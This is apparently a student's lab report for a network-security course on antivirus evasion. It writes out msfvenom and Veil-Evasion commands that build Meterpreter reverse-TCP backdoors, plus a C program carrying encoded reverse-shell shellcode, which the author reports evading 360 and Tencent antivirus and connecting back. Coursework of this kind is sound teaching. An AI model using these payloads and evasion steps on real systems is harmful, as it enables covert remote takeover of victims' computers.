2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

2024-03-16 13:26:34

2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

实验内容（概要）

一、正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，自己利用shellcode编程等免杀工具或技巧

1. 使用msf编码器生成各种后门程序及检测

msf编码器是非常实用的，但是我的实践表明，直接实用msf生成后门（exe文件）是不容易躲过杀毒的，因此我认为在这场GAME中MSF试用于生成C语言的shellcode。

2. 使用veil-evasion生成后门程序及检测

同msf一样，直接生成exe难以免杀，C语言程序值得借鉴。

3. 半手工注入Shellcode并执行

鉴于自动生成后门程序的失败，半手工生成shellcode，这应该是最稳妥的方法。

二、通过组合应用各种技术实现恶意代码免杀

经过大量的测试，win10系统自带的Windows Defender难以攻破。

（各种组合均未成功，而且我也没找到怎么看自己Windows Defender的版本，实验日期是190329，由于设置了自动更新，安装的应该是此时最新的Windows Defender）

因此，这次实验我只能退而求其次，以360杀毒作为我的对手。

三、用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本

靶机也不是Windows Defender。。。。。。

详细说明附后。

基础问题回答

一、杀软是如何检测出恶意代码的？

启发式（长得像坏人、干的事情也像坏人就逮捕他！）、基于程序行为检测（实锤这个程序有没有干一些非法的事情）和基于特征码检测（检测壳、检测shellcode、检测编码头部）。

二、免杀是做什么？

免杀就是针对上面说的——杀软的三个检测方法进行伪装，避免杀软被找到，避免攻击进程被拦截或者杀死。

正所谓道高一尺魔高一丈。。。。。

三、免杀的基本方法有哪些？

针对启发式和程序行为检测：附着在正常/合法程序的后面，同时启动，后台运行，尽量让杀软看不出区别；悄悄地进村，开枪的不要，动静尽量小，操作尽量少。

针对特征码检测：用自己的方法让杀软看不出来shellcode，想办法封装。

实验步骤

Before We Start It

使用360杀毒，程序版本：5.0.0.8150

检查更新：目前是最新版本。

一、正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，自己利用shellcode编程等免杀工具或技巧

1. 使用msf编码器生成各种后门程序及检测

1.1 不使用任何伪装

首先在kali输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.215 LPORT=5325 -f exe > 5325-1.exe

当拷贝到主机时发现：被逮捕了。

1.2 用MSF对后门程序进行多次编码

msfvenom要用到的参数，供参考：

-a <arch> 设置靶机CPU架构
--platform <platform> 设置靶机平台，可以通过--help-platforms选项查看msfvenom支持的所有平台
-p <payload> 设置攻击载荷，可以通过-l payloads查看所有攻击载荷
-e <encoder> 指定编码器，可以通过-l encoders查看所有编码器
-i <count> 指定编码迭代的次数
-x <path> 指定模版（合法程序）
-k 该选项可以保留模版原来的功能，将payload作为一个新的线程来注入，但不能保证可以用在所有可执行程序上（我失败了）。
-f <format> 指定生成格式，可以是raw，exe，elf，jar，c语言的，python的，java的……，用--help-formats查看所有支持的格式

在kali输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.43.215 LPORT=5325 -f exe > 5325-2.exe

拷贝到主机时又被逮捕了。

所以说直接生成exe是不行的，msfvenom肯定被很多杀软研究过，他生成的exe应该有一定特征（被杀软找到了并且作为特征码查杀）

即使多次编码，就死盯解码部分，那么理论上说，这样是无论如何都行不通的。

这道理我我我我我说不清楚，可以看孙晓暄学姐的博客（瞧瞧这话说的多么有水平！我这文盲语文水平就说不出来）

别问，问就是牛逼。

同样的事情也会发生在jar身上；

在kali输入msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.207 LPORT=5325 -f jar> 5325-8.jar

2. 使用veil-evasion生成后门程序及检测

基于msfvenom的经验，我猜这样是行不通的（先奶一口）。

veil的安装我就不写了，我记得我就sudo apt-get install veil-evasion就好了，可能我那会儿突然欧气了吧，幸运地没有遇到问题。

kali输入veil进入；

接着：Veil>: use Evasion

然后：Veil/Evasion>: list

能看见：

===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================


 [*] Available Payloads:

    1)  autoit/shellcode_inject/flat.py

    2)  auxiliary/coldwar_wrapper.py
    3)  auxiliary/macro_converter.py
    4)  auxiliary/pyinstaller_wrapper.py

    5)  c/meterpreter/rev_http.py
    6)  c/meterpreter/rev_http_service.py
    7)  c/meterpreter/rev_tcp.py
    8)  c/meterpreter/rev_tcp_service.py

    9)  cs/meterpreter/rev_http.py
    10) cs/meterpreter/rev_https.py


        //后面还有很多

紧接着：Veil/Evasion>: use 7

7就是c/meterpreter/rev_tcp.py，然后设置如下即可生成：

[c/meterpreter/rev_tcp>>]: set LPORT 5325
[c/meterpreter/rev_tcp>>]: set LHOST 192.168.43.215
[c/meterpreter/rev_tcp>>]: generate

起个名：

[>] Please enter the base name for output files (default is payload): 5325-3

回车就ok了：

===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

 [*] Language: c
 [*] Payload Module: c/meterpreter/rev_tcp
 [*] Executable written to: /var/lib/veil/output/compiled/5325-3.exe
 [*] Source code written to: /var/lib/veil/output/source/5325-3.c
 [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/5325-3.rc

Hit enter to continue...

你可以看见，已经生成exe文件到/var/lib/veil/output/compiled/5325-3.exe目录下面了。

拷贝到主机就又被逮捕了。。。。。

3. 半手工注入Shellcode并执行

半手工就是说自己编译执行。

首先在上面veil有一个文件是c语言的（ [*] Source code written to: /var/lib/veil/output/source/5325-3.c），可以拷贝到主机看看。

尝试用CB、VC、mingw编译均失败了，报错为undefined reference to `WSAStartup@8'之类的。

我发现后门的源代码中使用了socket套接字，mingw手工编译时需要链接ws2_32库，输入指令，gcc 5325-3.c -o 5325.exe -lws2_32编译成功。

后面回连成功，没有拦截：

垃圾360：

还有一种方法：使用msfvenom

kali输入：msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.43.215 LPORT=5325 -f c生成C语言的代码。

在vc里面运行：

#include "stdafx.h"

#include <windows.h>
#include <stdio.h>
 
//data段可读写
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = 
"\xdb\xde\xbb\x21\x8c\xc5\x6b\xd9\x74\x24\xf4\x5f\x31\xc9\xb1"
"\x93\x83\xef\xfc\x31\x5f\x13\x03\x7e\x9f\x27\x9e\x3a\x9d\x62"
"\x15\xe9\x7b\xab\x0f\x79\x58\xc0\xee\xb0\x69\x99\x83\x83\x3f"
"\xc9\x98\xb5\xac\x6e\x58\x3f\xf4\xf1\x0c\xd0\x06\x92\xe7\x1c"
"\x35\xf8\xb9\x88\x8e\x15\xbb\x71\xf7\x35\x5f\x6b\x8a\x69\xcb"
"\x73\x88\xab\x55\xa8\xdd\x80\xa4\x97\xab\x28\x98\x26\x8a\x3b"
"\x8c\xde\x8a\xa5\x87\x88\x52\x17\x21\x76\xe7\x32\x62\x1b\x32"
"\xf8\x9c\xb3\xd0\x03\xaf\xd0\x50\xa5\x1a\x3f\x26\x35\xf5\x9e"
"\x25\x17\xd0\xbb\xfc\x61\x8d\xa5\xdf\xfd\x13\x8c\xc4\x92\xeb"
"\xf4\xc3\x87\x6e\x74\x98\xad\xee\x0c\x1b\x01\x92\x44\x89\xf6"
"\x3c\x93\x01\xf1\x8c\xb3\x5e\xc8\x66\xff\x97\x22\x51\x1f\x65"
"\x93\x83\x4a\x72\x90\x49\x5e\x90\x2a\x38\x3f\xe5\xf1\x79\x0a"
"\xb7\x51\xe5\xb7\x84\x3d\xaf\x0e\xdf\xfc\x74\x86\x9d\x59\xad"
"\x3a\xbb\x11\x33\x7a\xc6\x62\x5c\xf9\x02\xcd\x0a\xeb\xb1\xd3"
"\x8a\xa2\x0d\xfa\xf8\xec\x37\xdf\xad\xfb\x0c\x4b\xd7\xc9\xab"
"\x51\xd7\x4a\x99\x38\x99\x5b\x6b\x72\x61\x66\x8f\x72\xd0\xbd"
"\x47\x34\x70\xd4\x5e\x71\x0d\x56\x4d\xd0\xaa\xeb\x80\x12\x51"
"\x50\x30\xae\x24\xc2\x76\x68\xd4\x12\xb5\x66\x34\xfd\x6f\x2e"
"\xce\x42\xf5\x7a\xcd\xff\xa2\x3c\x4d\xda\x69\x74\xa4\x1a\x8c"
"\x85\xd0\x38\xd6\x7e\xb8\x4e\x3c\xd7\xbe\x35\xf0\x95\x81\x82"
"\xab\x56\xcb\x39\xa9\x74\x39\x25\xe6\xef\xb1\x9e\xd9\x43\x36"
"\x91\xec\x30\x72\xc1\x83\x05\x25\x03\xfc\xd0\xbf\xc2\x08\x80"
"\x36\xd2\x61\xd8\x9f\xc3\x01\x69\xd1\x26\x4a\x08\x4a\x38\xa2"
"\x8e\x73\x81\xce\x43\x5f\x54\x68\xe2\x4a\x59\xab\x5c\x5b\xaa"
"\xc5\x1e\xc0\x57\x75\x3b\xd2\x5b\xcc\x0d\x8e\xae\x0a\xd6\xbe"
"\x60\x79\xd1\xd6\x1f\x0d\xa4\x80\x8e\xca\x62\x94\xc4\x24\x50"
"\xa0\xdf\x26\x1c\x5a\xe0\x3d\x6c\x0a\xfb\x6b\xc9\x60\x23\xa8"
"\x09\xb8\xfc\xb4\x1b\x67\x6c\x19\x4e\x1e\x8e\xe1\x46\x39\xc5"
"\xc9\x08\x9b\x02\x89\x74\x11\xb1\xf5\x34\x0a\x28\x89\xe4\x24"
"\x5a\x68\xc5\xdf\xa2\xaf\x65\xec\x59\x47\x93\x85\x9e\xae\x61"
"\xe0\xf4\x75\xb6\x24\xc3\x30\xd6\xca\x32\x41\x50\x4b\x3b\xa1"
"\xfa\x30\x92\xb4\xf8\x62\x18\x46\xdb\x8b\x61\xa0\x9c\x1c\x67"
"\x6f\x69\x24\x3d\xb8\x5d\xb3\x5c\x53\x75\xa9\x48\x71\x2f\x0a"
"\x90\x87\xb7\x32\x6c\x5f\xba\x2d\x6e\x9f\x2f\xfc\xf1\x9e\xfb"
"\x48\xbe\x97\xf7\xe3\xb7\x55\x78\x28\xeb\xd3\xcf\xbc\x80\x9b"
"\xa8\x03\x9d\xc1\x28\xe6\x45\x99\x84\xb2\xca\xb7\x44\x90\xde"
"\xd7\x40\xd4\x4c\x4a\x70\x3a\x15\xa1\xcd\x20\x79\x26\xdc\x77"
"\x9e\xea\x4e\x48\x1f\x57\xd0\x44\x8b\x20\x1a\x87\x5c\xe2\xdf"
"\x8a\xb8\x3e\xb5\x34\xaf\xbc\x82\xc9\x3d\x9d\x88\x2f\x6f\xde"
"\xd0\xc8\x19\x3a\x6a\x96\xce\x6a\x05\xcf\x41\x79\x74\x11\xd2"
"\x94\x38\xba\xdb\x22\xc6\x70\x3b\xff\x5c\xde";


int main(){
    __asm
    {
        lea eax, buf;
        jmp eax;
    }
    return 0;
}

再次回连成功：

查不出来，稳得一批。

用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本

靶机腾讯管家12.15.19627.208，回连成功。

心得体会

首先我想说一句，这个东西，很有可能，今天成了，明天就不成功了。

是真的啊，真的可怕。

所以以后不能随便传上网扫了。

还有就是Windows defender牛逼，怎么都成功不了。但是太过敏感的杀软，用户体验也不好，所以呢这可能存在一个平衡吧我猜。

另外，除了后门的生成，后门如何启动也是一个问题。。。。。

最后，我想说，我好菜啊。。。。。

码农公寓